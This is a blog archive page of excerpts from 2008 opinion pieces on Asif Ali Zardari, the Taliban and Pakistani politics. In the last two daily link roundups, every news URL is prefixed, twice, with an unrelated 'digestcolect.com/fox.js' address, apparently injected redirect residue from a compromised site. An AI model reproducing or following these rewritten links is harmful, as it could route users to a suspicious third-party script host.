Asif Zardari Archive
Defining the Taliban – By Muhammad Ali Siddiqi: WHILE President Asif Ali Zardari says we are in a state of war, it is amazing that the government and the media have not yet clearly spelled out how the enemy is to be defined. Normally, an enemy is
Taliban killed my wife. ‘I will suck oxygen out of their system so there will be no Talibs’ (Zardari’s commitment): ‘I will suck oxygen out of their system so there will be no Talibs’: Zardari ready for US training of army anti-terror units* Vows to rid country of terror threat, calls Taliban ‘cancer for society’* Says anyone not conforming
Friends of Democratic Pakistan – Well done, Zardari.: MAKE no mistake about it — this is Pakistan’s hour of economic reckoning. We need every friend we have ever had and every dollar we can possibly get. It seems then that the Friends of Pakistan forum, which will
Friends rally around Pakistan (Buck up Zardari): A permanent forum known as Friends of Pakistan was launched in New York on Friday with the mission to help Pakistan out of its economic crisis. It has been estimated that Pakistan would need around $15 billion to prevent
Pakistan opts out of isolationism, Zardari’s address at the UN: President Asif Ali Zardari’s address at the General Assembly of the United Nations on Thursday has to be rated as a good speech that fairly expressed Pakistan’s point of view on the problem of terrorism while avoiding the kind
A shameful forgery (by Ansar Abbasi and other anti-PPP Junoonis): The past week has seen a vicious electronic and press campaign maligning President Asif Ali Zardari through a forgery. Someone forged a garbled version of his remark recorded in the visitors’ book at the mausoleum of the Quaid-e-Azam and
Punjab’s undesirable politics of defection (i.e. Lota Politics): Despite advice from all sane quarters, Punjab is in the grip of a power tussle. A firm arrangement is making transition to an uncertain one that is going to be haunted by court cases and general acrimony. The PMLN
War on Terror: Clash of realism and populism in Pakistan: Comment about the government’s policy on the war against terrorism is understandably rife in the media because of the sensitivity of the issue at hand. Some reporters speaking from areas of conflict are advising the government to “do what
Election of Asif Zardari as President – by Khurshid Nadeem: Asif Zardari: aik tareekh saaz intikhaab
Mother of all challenges facing President Zardari: According to one report, there are five challenges that the new President of Pakistan, Mr Asif Ali Zardari, will face. These are ones posed by rising militancy, a failing economy, fledgling democracy, conflict with India, and his own personal
A great victory, a perilous task – Tanvir Ahmad Khan: Tanvir Ahmad Khan The questions of provincial autonomy, relations between the presidency and parliament, the right balance between the powers of the president and the prime minister and the fullest possible rehabilitation of the judiciary will have to be
President Zardari and media obsessions: On Tuesday, at the press conference following his swearing-in, President Asif Ali Zardari set the tone by saying: “The president will only carry forward the brief of the government and bow before the parliament; the president will be subservient
The politics of values – by Adrian A Husain: By Adrian A Husain POWER can at times appear shamanistic. It is able to steal into hearts, subtly persuade and, with devastating logic, finally prevail. The political adroitness of Asif Ali Zardari, the new president-elect of the country, has
A non-defence of Zardari – by Dr Meekal Aziz Ahmed: Editor’s note: I am cross-posting below an excellent article by Dr Meekal Aziz (published in The News) in which he states that the usual Zardari-bashing is getting rather tiresome and boring. We “need to move on” to build a tolerant,
My choice today: Mon 26 May 2008: What should Zardari do to Musharraf? Benazir Bhutto’s last book Does the US want to get rid of Musharrraf? Musharraf’s third coup? Baitullah’s bait?
My choice today: Sun, 25 May 2008: “The flour crisis” http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&jang.com.pk/jang/may2008-daily/25-05-2008/col6.htm Tourism of Malaysia http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&jang.com.pk/jang/may2008-daily/25-05-2008/col11.htm http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.dawn.com/weekly/cowas/20080525.htm Despair on the line By Ardeshir Cowasjee LEST we forget, let me reiterate. Those now at the helm of the affairs of the republic that is Pakistan, this God-given man-made
My choice today: Sat 24 May 2008: A meeting with Sarabjit Singh http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&jang.com.pk/jang/may2008-daily/24-05-2008/col3.htm Musharraf really going? http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.express.com.pk/epaper/Article.aspx?newsID=1100412350&Date=20080524&Issue=NP_LHE Pakistan May Turn Over U.S. ‘Spies’ to Iran Iran Claims Jundullah Militants, Led by Abdel Malik Regi, Are ‘Spies’ for the CIA By RICHARD ESPOSITO and BRIAN ROSS http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&abcnews.go.com/print?id=4913927